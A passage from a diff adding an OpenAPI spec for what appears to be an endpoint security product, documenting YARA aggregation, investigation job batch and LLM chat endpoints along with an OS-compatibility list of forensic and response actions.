+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Yara'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/ioc/YaraAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_ioc_YaraAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/ioc/YaraAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_ioc_YaraAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/ioc/YaraAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_ioc_YaraAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Yara'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/job/Simple/:
+    get:
+      description: ""
+      operationId: data_investigation_job_Simple_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Simple'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/job/Simple/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_job_Simple_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/job/Simple/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_job_Simple_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Simple'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/job/batch/:
+    get:
+      description: |-
+        Batches are like jobs, except that they can contain multiple different actions.
+
+        A user can see any batch if they have access to at least one of its actions.
+        They won't be able to access sensitive data, like job results or params,
+        unless they have the read permission for the action
+        Changing (create, edit, delete) a Batch requires write permission on all of its actions.
+      operationId: data_job_batch_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: title
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: archived
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: is_scheduled
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: endpoint_username
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: template_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creationtime
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: instance
+          required: false
+          type: number
+        - in: query
+          name: done
+          required: false
+          type: number
+        - in: query
+          name: waiting
+          required: false
+          type: number
+        - in: query
+          name: running
+          required: false
+          type: number
+        - in: query
+          name: canceled
+          required: false
+          type: number
+        - in: query
+          name: error
+          required: false
+          type: number
+        - in: query
+          name: agent_count
+          required: false
+          type: number
+        - in: query
+          name: creator.username
+          required: false
+          type: string
+        - in: query
+          name: creator.id
+          required: false
+          type: string
+        - in: query
+          name: jobs
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/BatchList'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Batch endpoints
+      tags:
+        - investigation
+    parameters: []
+    post:
+      description: Jobs will be executed in the specified order.
+      operationId: data_job_batch_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BatchCreate'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/SimpleBatchRetrieve'
+        "400":
+          description: Invalid request
+        "404":
+          description: not found
+        "422":
+          description: None of the given agents were able to execute the given job(s)
+      summary: Create a job batch
+      tags:
+        - investigation
+  /data/job/batch/archive/:
+    parameters: []
+    post:
+      description: |-
+        Batches are like jobs, except that they can contain multiple different actions.
+
+        A user can see any batch if they have access to at least one of its actions.
+        They won't be able to access sensitive data, like job results or params,
+        unless they have the read permission for the action
+        Changing (create, edit, delete) a Batch requires write permission on all of its actions.
+      operationId: data_job_batch_archive
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BatchSelect'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: Invalid request
+        "404":
+          description: not found
+      summary: Batch endpoints
+      tags:
+        - investigation
+  /data/job/batch/cancel/:
+    parameters: []
+    post:
+      description: |-
+        Batches are like jobs, except that they can contain multiple different actions.
+
+        A user can see any batch if they have access to at least one of its actions.
+        They won't be able to access sensitive data, like job results or params,
+        unless they have the read permission for the action
+        Changing (create, edit, delete) a Batch requires write permission on all of its actions.
+      operationId: data_job_batch_cancel
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BatchSelect'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: Invalid request
+        "404":
+          description: Not found
+      summary: Batch endpoints
+      tags:
+        - investigation
+  /data/job/batch/delete/:
+    parameters: []
+    post:
+      description: |-
+        Batches are like jobs, except that they can contain multiple different actions.
+
+        A user can see any batch if they have access to at least one of its actions.
+        They won't be able to access sensitive data, like job results or params,
+        unless they have the read permission for the action
+        Changing (create, edit, delete) a Batch requires write permission on all of its actions.
+      operationId: data_job_batch_delete
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BatchSelect'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: Invalid request
+        "404":
+          description: Not found
+      summary: Batch endpoints
+      tags:
+        - investigation
+  /data/job/batch/os_compatibility/:
+    get:
+      description: |-
+        Batches are like jobs, except that they can contain multiple different actions.
+
+        A user can see any batch if they have access to at least one of its actions.
+        They won't be able to access sensitive data, like job results or params,
+        unless they have the read permission for the action
+        Changing (create, edit, delete) a Batch requires write permission on all of its actions.
+      operationId: data_job_batch_os_compatibility
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: title
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: archived
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: is_scheduled
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: endpoint_username
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: template_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creationtime
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: |-
+            Job OS compatibility list
+
+            Shows which job types are available for specific operating systems.
+          examples:
+            application/json:
+              - action: IOCScan
+                supported_os:
+                  - linux
+                  - macos
+                  - windows
+              - action: yaraScan
+                supported_os:
+                  - linux
+                  - macos
+                  - windows
+              - action: avScan
+                supported_os:
+                  - linux
+                  - macos
+                  - windows
+              - action: agentDiagnostic
+                supported_os:
+                  - linux
+                  - macos
+                  - windows
+              - action: agentMinidump
+                supported_os:
+                  - linux
+                  - macos
+                  - windows
+              - action: parseFilesystem
+                supported_os:
+                  - linux
+                  - macos
+                  - windows
+              - action: memoryDumper
+                supported_os:
+                  - linux
+                  - windows
+              - action: downloadFile
+                supported_os:
+                  - linux
+                  - macos
+                  - windows
+              - action: downloadDirectory
+                supported_os:
+                  - linux
+                  - macos
+                  - windows
+              - action: collectRAWEvidences
+                supported_os:
+                  - linux
+                  - macos
+                  - windows
+              - action: networkSniffer
+                supported_os:
+                  - linux
+                  - macos
+                  - windows
+              - action: processDumper
+                supported_os:
+                  - linux
+                  - windows
+              - action: searchProcessDumper
+                supported_os:
+                  - linux
+                  - windows
+              - action: getLoadedDriverList
+                supported_os:
+                  - windows
+              - action: getProcessList
+                supported_os:
+                  - linux
+                  - macos
+                  - windows
+              - action: getPipeList
+                supported_os:
+                  - windows
+              - action: networkDiscovery
+                supported_os:
+                  - linux
+                  - macos
+                  - windows
+              - action: getNetworkShare
+                supported_os:
+                  - windows
+              - action: getSessions
+                supported_os:
+                  - windows
+              - action: getQFE
+                supported_os:
+                  - windows
+              - action: listDirectory
+                supported_os:
+                  - linux
+                  - macos
+                  - windows
+              - action: getHives
+                supported_os:
+                  - windows
+              - action: getScheduledTasks
+                supported_os:
+                  - windows
+              - action: getStartupFileList
+                supported_os:
+                  - windows
+              - action: getWMI
+                supported_os:
+                  - windows
+              - action: getRawWMI
+                supported_os:
+                  - windows
+              - action: persistanceScanner
+                supported_os:
+                  - linux
+              - action: getPrefetch
+                supported_os:
+                  - windows
+              - action: filepathDeleter
+                supported_os:
+                  - linux
+                  - macos
+                  - windows
+              - action: knownProcessFinderKiller
+                supported_os:
+                  - linux
+                  - macos
+                  - windows
+              - action: wildcardProcessFinderKiller
+                supported_os:
+                  - linux
+                  - macos
+                  - windows
+              - action: registryOperation
+                supported_os:
+                  - windows
+              - action: deleteService
+                supported_os:
+                  - windows
+              - action: deleteScheduledTask
+                supported_os:
+                  - windows
+              - action: quarantineAdd
+                supported_os:
+                  - linux
+                  - macos
+                  - windows
+              - action: quarantineDelete
+                supported_os:
+                  - linux
+                  - macos
+                  - windows
+              - action: quarantineRestore
+                supported_os:
+                  - linux
+                  - macos
+                  - windows
+              - action: quarantineAcquireFile
+                supported_os:
+                  - linux
+                  - macos
+                  - windows
+              - action: profileMemory
+                supported_os:
+                  - linux
+                  - macos
+                  - windows
+          schema:
+            items:
+              $ref: '#/definitions/JobOSSupport'
+            type: array
+      summary: Batch endpoints
+      tags:
+        - investigation
+    parameters: []
+  /data/job/batch/relaunch/:
+    parameters: []
+    post:
+      description: Relaunch jobs that are done
+      operationId: data_job_batch_relaunch
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BatchSelect'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: Invalid request
+        "404":
+          description: not found
+      tags:
+        - investigation
+  /data/job/batch/retry/:
+    parameters: []
+    post:
+      description: Retry jobs that are cancelled or errored out
+      operationId: data_job_batch_retry
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BatchSelect'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: Invalid request
+        "404":
+          description: not found
+      tags:
+        - investigation
+  /data/job/batch/stats/:
+    get:
+      description: Get the state of all jobs instances (success, error, running, ...)
+      operationId: data_job_batch_stats
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: title
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: archived
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: is_scheduled
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: endpoint_username
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: template_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creationtime
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/BatchStats'
+      tags:
+        - investigation
+    parameters: []
+  /data/job/batch/template/:
+    get:
+      description: ""
+      operationId: data_job_batch_template_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: title
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_update
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: last_modifier.username
+          required: false
+          type: string
+        - in: query
+          name: last_modifier.id
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/BatchTemplateRetrieve'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+    post:
+      description: ""
+      operationId: data_job_batch_template_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BatchTemplateCreate'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/BatchTemplateCreate'
+      tags:
+        - investigation
+  /data/job/batch/template/from_batch/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_job_batch_template_from_batch
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BatchTemplateCreateFromBatch'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/BatchTemplateRetrieve'
+        "400":
+          description: Invalid request
+        "403":
+          description: Forbidden
+        "404":
+          description: not found
+      tags:
+        - investigation
+  /data/job/batch/template/{id}/:
+    delete:
+      description: ""
+      operationId: data_job_batch_template_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - investigation
+    get:
+      description: ""
+      operationId: data_job_batch_template_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/BatchTemplateRetrieve'
+      tags:
+        - investigation
+    parameters:
+      - description: A unique value identifying this batch template.
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_job_batch_template_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BatchTemplateEdit'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/BatchTemplateEdit'
+      tags:
+        - investigation
+    put:
+      description: ""
+      operationId: data_job_batch_template_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BatchTemplateCreate'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/BatchTemplateCreate'
+      tags:
+        - investigation
+  /data/job/batch/unarchive/:
+    parameters: []
+    post:
+      description: |-
+        Batches are like jobs, except that they can contain multiple different actions.
+
+        A user can see any batch if they have access to at least one of its actions.
+        They won't be able to access sensitive data, like job results or params,
+        unless they have the read permission for the action
+        Changing (create, edit, delete) a Batch requires write permission on all of its actions.
+      operationId: data_job_batch_unarchive
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BatchSelect'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: Invalid request
+        "404":
+          description: not found
+      summary: Batch endpoints
+      tags:
+        - investigation
+  /data/job/batch/{batch_pk}/task/{id}/:
+    delete:
+      description: ""
+      operationId: data_job_batch_task_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+        "404":
+          description: No task matches the provided parameters
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: batch_pk
+        required: true
+        type: string
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/job/batch/{batch_pk}/task/{id}/relaunch/:
+    parameters:
+      - in: path
+        name: batch_pk
+        required: true
+        type: string
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: Relaunch jobs that are done
+      operationId: data_job_batch_task_relaunch
+      parameters: []
+      responses:
+        "204":
+          description: ""
+        "404":
+          description: No task matches the provided parameters
+      tags:
+        - investigation
+  /data/job/batch/{batch_pk}/task/{id}/retry/:
+    parameters:
+      - in: path
+        name: batch_pk
+        required: true
+        type: string
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: Retry jobs that are canceled or errored out
+      operationId: data_job_batch_task_retry
+      parameters: []
+      responses:
+        "204":
+          description: ""
+        "404":
+          description: No task matches the provided parameters
+      tags:
+        - investigation
+  /data/job/batch/{id}/:
+    get:
+      description: |-
+        Batches are like jobs, except that they can contain multiple different actions.
+
+        A user can see any batch if they have access to at least one of its actions.
+        They won't be able to access sensitive data, like job results or params,
+        unless they have the read permission for the action
+        Changing (create, edit, delete) a Batch requires write permission on all of its actions.
+      operationId: data_job_batch_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/BatchRetrieve'
+      summary: Batch endpoints
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: |-
+        Batches are like jobs, except that they can contain multiple different actions.
+
+        A user can see any batch if they have access to at least one of its actions.
+        They won't be able to access sensitive data, like job results or params,
+        unless they have the read permission for the action
+        Changing (create, edit, delete) a Batch requires write permission on all of its actions.
+      operationId: data_job_batch_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BatchEdit'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/BatchEdit'
+      summary: Batch endpoints
+      tags:
+        - investigation
+    put:
+      description: |-
+        Batches are like jobs, except that they can contain multiple different actions.
+
+        A user can see any batch if they have access to at least one of its actions.
+        They won't be able to access sensitive data, like job results or params,
+        unless they have the read permission for the action
+        Changing (create, edit, delete) a Batch requires write permission on all of its actions.
+      operationId: data_job_batch_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BatchEdit'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/BatchEdit'
+      summary: Batch endpoints
+      tags:
+        - investigation
+  /data/job/batch/{id}/add_actions/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: Add actions to an existing job
+      operationId: data_job_batch_add_actions
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            items:
+              $ref: '#/definitions/AllAction'
+            type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SimpleBatchRetrieve'
+        "400":
+          description: Invalid request
+        "403":
+          description: Job version is not compatible
+        "404":
+          description: not found
+      tags:
+        - investigation
+  /data/job/batch/{id}/add_targets/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: Agents that are already in this job will be ignored, whether they are specified by ID, or as part of a group.
+      operationId: data_job_batch_add_targets
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BatchTarget'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SimpleBatchRetrieve'
+        "400":
+          description: Invalid request
+        "404":
+          description: not found
+      summary: Add targets to an existing job
+      tags:
+        - investigation
+  /data/job/batch/{id}/duplicate/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: |-
+        Batches are like jobs, except that they can contain multiple different actions.
+
+        A user can see any batch if they have access to at least one of its actions.
+        They won't be able to access sensitive data, like job results or params,
+        unless they have the read permission for the action
+        Changing (create, edit, delete) a Batch requires write permission on all of its actions.
+      operationId: data_job_batch_duplicate
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BatchDuplicate'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/SimpleBatchRetrieve'
+        "400":
+          description: Invalid request
+        "404":
+          description: not found
+      summary: Batch endpoints
+      tags:
+        - investigation
+  /data/job/batch/{id}/targets/:
+    get:
+      description: |-
+        Batches are like jobs, except that they can contain multiple different actions.
+
+        A user can see any batch if they have access to at least one of its actions.
+        They won't be able to access sensitive data, like job results or params,
+        unless they have the read permission for the action
+        Changing (create, edit, delete) a Batch requires write permission on all of its actions.
+      operationId: data_job_batch_targets
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/PaginatedBatchAgentList'
+            type: array
+      summary: Batch endpoints
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/llm/chat/conversation/:
+    get:
+      description: ""
+      operationId: data_llm_chat_conversation_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: user
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: title
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: archived
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: public
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: requests.message
+          required: false
+          type: string
+        - in: query
+          name: requests.response
+          required: false
+          type: string
+        - in: query
+          name: user.username
+          required: false
+          type: string
+        - in: query
+          name: user.id
+          required: false
+          type: string
+        - in: query
+          name: first_context.location_type
+          required: false
+          type: string
+        - in: query
+          name: first_context.object_id
+          required: false
+          type: string
+        - in: query
+          name: first_context.filter_args
+          required: false
+          type: string
+        - in: query
+          name: first_context.section_id
+          required: false
+          type: string
+      produces:
+        - application/json
+        - text/event-stream
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ChatList'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - llm
+    parameters: []
+    post:
+      description: 'SSE streaming (Accept: text/event-stream) is unstable and may be removed with no notice.'
+      operationId: data_llm_chat_conversation_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/NewChat'
+      produces:
+        - application/json
+        - text/event-stream
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/Chat'
+      summary: Start a new conversation
+      tags:
+        - llm
+  /data/llm/chat/conversation/{id}/:
+    delete:
+      description: ""
+      operationId: data_llm_chat_conversation_delete
+      parameters: []
+      produces:
+        - application/json
+        - text/event-stream
+      responses:
+        "204":
+          description: ""
+      tags:
+        - llm
+    get:
+      description: ""
+      operationId: data_llm_chat_conversation_read
+      parameters: []
+      produces:
+        - application/json
+        - text/event-stream
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Chat'
+      tags:
+        - llm
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_llm_chat_conversation_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Chat'
+      produces:
+        - application/json
+        - text/event-stream
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Chat'
+      tags:
+        - llm
+    put:
+      description: ""
+      operationId: data_llm_chat_conversation_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Chat'
+      produces:
+        - application/json
+        - text/event-stream
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Chat'
+      tags:
+        - llm
+  /data/llm/chat/conversation/{id}/request/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: 'SSE streaming (Accept: text/event-stream) is unstable and may be removed with no notice.'
+      operationId: data_llm_chat_conversation_chat_request
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Chat'
+      produces:
+        - application/json
+        - text/event-stream
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/ChatRequest'
+      summary: Ask a new request in an existing conversation
+      tags:
+        - llm
+  /data/llm/chat/feedback/:
+    get:
+      description: ""
+      operationId: data_llm_chat_feedback_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ChatFeedback'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - llm
+    parameters: []
+    post:
+      description: ""
+      operationId: data_llm_chat_feedback_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ChatFeedback'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/ChatFeedback'
+      tags:
+        - llm
+  /data/llm/chat/request/:
+    parameters: []
+    post:
+      description: 'SSE streaming (Accept: text/event-stream) is unstable and may be removed with no notice.'
+      operationId: data_llm_chat_request_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/NewChatRequest'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/ChatRequest'
+      summary: Ask a new request (OUTSIDE of a conversation)
+      tags:
+        - llm
+  /data/llm/chat/request/{id}/:
+    get:
+      description: ""
+      operationId: data_llm_chat_request_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ChatRequest'
+      tags:
+        - llm
+    parameters:
+      - description: A UUID string identifying this chat request.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/llm/conversation/:
+    get:
+      description: LLM ViewSet. Defines endpoints for interacting with Kio. Deprecated, will be replaced with /api/llm/chat
+      operationId: data_llm_conversation_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_update
